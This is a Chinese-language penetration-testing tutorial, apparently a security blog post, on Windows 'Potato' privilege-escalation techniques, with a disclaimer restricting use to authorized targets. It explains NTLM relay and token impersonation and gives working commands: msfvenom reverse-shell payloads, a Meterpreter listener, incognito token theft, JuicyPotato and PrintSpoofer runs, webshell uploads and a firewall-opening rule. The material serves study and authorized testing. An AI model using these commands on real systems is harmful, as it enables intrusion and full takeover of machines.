免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
01
土豆一家三代
2016-01-16 初代土豆
劫持wpad配合ntlm中继进行提权。
2016-09-26 二代土豆
劫持系统com服务器地址到恶意服务器上,然后在NTLM Type 3时做AcceptSecurityContext调用去拿system的令牌。
2020-05-02 三代土豆
目前杀伤力最大的一个利用链,通过命名管道模拟来获取system的令牌。
名字由来:
JuicyPotato是RottenPotato升级版
SweetPotato == Juicy/PrintSpoofer集合版
PrintSpoofer == PipePotato== BadPotato 三个名字 ?
最初公开POC的老外叫它PrintSpoofer,之后360的paper叫它PipePotato,然后GitHub国人的POC又叫它BadPotato。
嚯,这关系,可以说是相当的乱了
02
实验环境
这里用的环境是windows2008 R2+ IIS
首先用 IIS7创建WEB站点
一、安装IIS
1.打开“服务器管理器”——添加角色
2.下一步
3.勾选“WEB服务(IIS)”下一步
二、创建站点
打开IIS——网站——右键添加网站——添加网站名称——指定网站路径——主机名(网站绑定域名)——确定
访问虚拟机ip地址
默认站点的根路径:wwwroot
下载.NETFramework4.0
https://www.onlinedown.net/tag/2246.htm
03
Hot Potato
利用 Windows 中的已知问题在默认配置中获得本地权限提升
即 NTLM 中继(特别是 HTTP->SMB 中继)和 NBNS 欺骗
攻击者可以在安装了Windows操作系统的工作站中将自己的低权限提升至NT AUTHORITY\SYSTEM
影响范围:Windows 7、8、10、Server 2008 和 Server 2012
3.1 原理详解
主要分为3步(机翻)
1、本地NBNS欺骗
NBNS 是 Windows 环境中常用的名称解析广播 UDP 协议。当我们(或 Windows)执行 DNS 查找时,Windows 首先会检查hosts文件
host文件默认位置:C:\Windows\System32\drivers\etc
如果不存在,它将会进行DNS查找
如果DNS查找失败,将会执行NBNS查找
NBNS 协议基本上只是询问本地广播域上的所有主机
这个时候,网络上的任何主机都可以随意响应。
2、虚假的WPAD代理服务器
在 Windows 中,Internet Explorer 默认会通过访问 URL:http://wpad/wpad.dat
自动尝试检测网络代理设置配置
它适用于某些 Windows 服务!例如 Windows 更新,但具体如何做以及在什么条件下取决于版本。
当然访问 URL:http://wpad/wpad.dat不会存在于所有网络上,因为主机名wpad不一定存在于 DNS 名称服务器中
那么,虚假的WPAD代理服务器和本地NBNS欺骗相结合,我们可以使用 本地NBNS 欺骗来欺骗主机名
凭借欺骗 NBNS 响应的能力,我们可以将 NBNS 欺骗器定位在 127.0.0.1
我们用主机WPAD或WPAD.DOMAIN.TLD的NBNS响应数据包淹没目标机器(我们自己的机器)
WPAD主机的IP地址为127.0.0.1
这将导致目标上的所有 HTTP 流量都通过我们在 127.0.0.1 上运行的服务器重定向
注:即使是由低权限用户执行的这种攻击也会影响机器的所有用户,这包括管理员和系统帐户
3、HTTP -> SMB NTLM中继
NTLM 中继是一种众所周知但经常被误解的针对 Windows NTLM 身份验证的攻击。NTLM 协议容易受到中间人攻击。如果攻击者可以欺骗用户尝试使用 NTLM 对其机器进行身份验证,他可以将该身份验证尝试中继到另一台机器!
此攻击的旧版本让受害者尝试使用带有 NTLM 身份验证的 SMB 协议向攻击者进行身份验证。然后,攻击者会将这些凭据中继回受害者的计算机,并使用类似"psexec”的技术获得远程访问权限。
微软通过使用已经在进行中的challenge来禁止相同协议的 NTLM 身份验证来修补这个问题
这意味着从一台主机到其自身的 SMB->SMB NTLM 中继将不再起作用
但是,跨协议攻击,像HTTP->SMB 仍然可以正常工作
现在所有 HTTP 流量都可能流经我们控制的 HTTP 服务器,我们可以做一些事情,比如将它们重定向到某个将请求 NTLM 身份验证的地方。
在Hot Potato漏洞利用中,所有 HTTP 请求都通过 302 重定向重定向到URL:http://localhost/GETHASHESxxxxx
其中 xxxxx 是某个唯一标识符。请求URL:http://localhost/GETHASHESxxxxx 以 NTLM 身份验证的 401 请求响应。
然后将任何 NTLM 凭据中继到本地 SMB 侦听器以创建运行用户定义命令的新系统服务。
当有问题的 HTTP 请求来自高权限帐户时,例如,当它是来自 Windows 更新服务的请求时,此命令将以NT AUTHORITY\SYSTEM权限运行,从而完成了提权!
1.本地NBNS Spoofer:冒充名称解析,强制系统下载恶意WAPD配置
2.伪造WPAD代理服务器:部署malicios WAPD配置,强制系统进行NTLM认证
3.HTTP -> SMB NTLM 中继:将 WAPD NTLM 令牌中继到 SMB 服务以创建提升的进程
04
Rotten Potato
4.1 介绍
烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户。
以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别。
适用版本:Windows7、8、10、2008、2012
4.2 ms16-075漏洞介绍
Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正Windows服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。微软将其定义为KB3164038。
4.3 提权原理
RottenPotato(烂土豆) 提权原理可以简述如下:
1、欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2、对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
1. 使用CoGetInstanceFromIStorage API 调用欺骗RPC,对代理进行身份验证.在此调用中指定了代理 IP/端口
2. RPC 向代理发送 NTLM 协商包
3. 代理依赖的NTLM协商到RPC在端口135,被用作模板。同时,执行对AcceptSecurityContext的调用以强制进行本地身份验证
注:此包被修改为强制本地身份验证.
4. & 5. RPC 135和AcceptSecurityContext用NTLM Challenge回复
6. 将两个数据包的内容混合以匹配本地协商并转发到RPC
7. RPC使用发送到AcceptSecurityContext(8.)的NLTM Auth包进行响应,并执行模拟
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。⼤多数⽤户级的账户没有这个权限。
4.4 复现
这里在文件根目录里上传了一个哥斯拉的asp码
连接后执行whoami命令
上线MSF
生成MSF码
apk:
msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPOR=8888 -o test.apk
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPOR=8888 -f elf>shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=ip LPOR=8888 -f macho>shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=ip LPOR=8888 -o xx.php
exe:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.208.138 LPORT=6666 -f exe > reverse.exe
MSF开启监听,执行木马上线
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp 反向payload
set payload windows/x64/meterpreter/bind_tcp 正向payload
set lhost 172.16.1.10
set lport 6666
exploi
getprivs
SeImpersonatePrivilege是土豆提权的必要条件。
https://github.com/foxglovesec/RottenPotato
RottenPotato下载地址
upload /root/RottenPotato.exe c:/web目录 上传potato.exe到目标机器中的C:/web目录下
运行在令牌中提权命令
use incognito
# 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u
# 列出目标机器用户的可用令牌
execute -cH -f c:/potato.exe
# 创建新的进程
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
成功获得system权限。
05
Juicypatato
5.1 原理
攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机!
Microsoft通过使用已经进行的质询来禁止同协议NTLM身份验证来对此进行修补。这意味着从一个主机回到自身的SMB-> SMB NTLM中继将不再起作用。但是,跨协议攻击(例如HTTP-> SMB)仍然可以正常使用!
5.2 使用条件
🔹支持SeImpersonate或者SeAssignPrimaryToken权限。
🔹开启DCOM。
🔹本地支持RPC或者远程服务器支持PRC并能成功登录。
🔹能够找到可用的COM对象。
1、查看当前用户权限,是否符合要求
whoami /all
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
这里SeImpersonate权限开启、SeAssignPrimaryToken权限未开启
juicypatato参数使用-t -t
2、查看RPC默认端口是否为135
如果被修改,juicypotato的参数可以使用 -n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k
例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录
添加防火墙规则允许135端口入站的命令如下:
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
5.3 复现
测试的是Windows2008R2,选择CLSID为{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
CLSID需要根据系统来选择
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
https://github.com/ohpe/juicy-potato/releases(JuicyPotato.exe链接)
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
表示Selmpersonate权限创建进程,监听端口1111,使用的CLSID为{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
这个使用webshell虽然能够执行成功,但是不能弹出cmd窗口
登上机器直接本地测试
成功。
找了一个webshell版的juicypotato.exe 能够直接执行命令
https://github.com/uknowsec/JuicyPotato/tree/main/JuicyPotato-webshell/Bin
上传到web根目录
执行命令
JuicyPotatoweb.exe -p "whoami"
【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!
https://curl.qcloud.com/MSIFpJMg
06
SweetPotato
6.1 原理
通过各种方法在本地NTLM中继获取SYSTEM令牌,再通过模拟令牌执行命令,通过以上方法提权统称为potato(不管是否基于原potato修改)。就像SQL注入,通过特定SQL语句注入获取特定数据库信息统称为SQL注入,而不管如何编写的SQL语句,是否基于别人的SQL语句修改。
SweetPotato集成了原版Potato和JulyPotato的功能,包含DCOM/WINRM/PrintSpoofer方法获取SYSTEM。
https://github.com/uknowsec/SweetPotato/blob/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe
6.2 复现
上传aspx、asmx、ashx的哥斯拉码
哥斯拉默认有SweetPotato提权模块
点击load加载clsid
执行命令whoami
或者上线CS,CS也自带SweetPotato提权
07
PipePotato
7.1 原理
攻击者通过pipeserver.exe注册一个名为pipexpipespoolss的恶意的命名管道等待高权限用户来连接以模拟高权限用户权限,然后通过spoolssClient.exe迫使system用户来访问攻击者构建的恶意命名管道,从而模拟system用户运行任意应用程序
(1)调用CreateN amedPipe()创建一个命名管道
(2)调用ConnectNamedPipe() 接受该命名请求连接
(3)迫使高权限进程连接该命名管道并写入数据
(4)调用ImpersonateNamedPipeClient()派生 一个高权限进程的客户端
而PrintSpoofer是衍生版本。
7.2 影响范围
Windows 10 和 Server 2016/2019 (win8以上的某些windows版本也行)
windows Server 2012,windows Server 2016,windows Server 2019
7.3 复现
https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0
使用whoami /priv查看是否开启SeImpersonatePrivilege 身份验证后模拟客户端
PrintSpoofer.exe -i -c "whoami"
windows2008R2版本没成功
又试了一下Windows2016可以提权
但是自带的WindowsDefender会报毒 自动杀,需要做免杀处理
技术交流
知识星球
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
关注我们
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
往期文章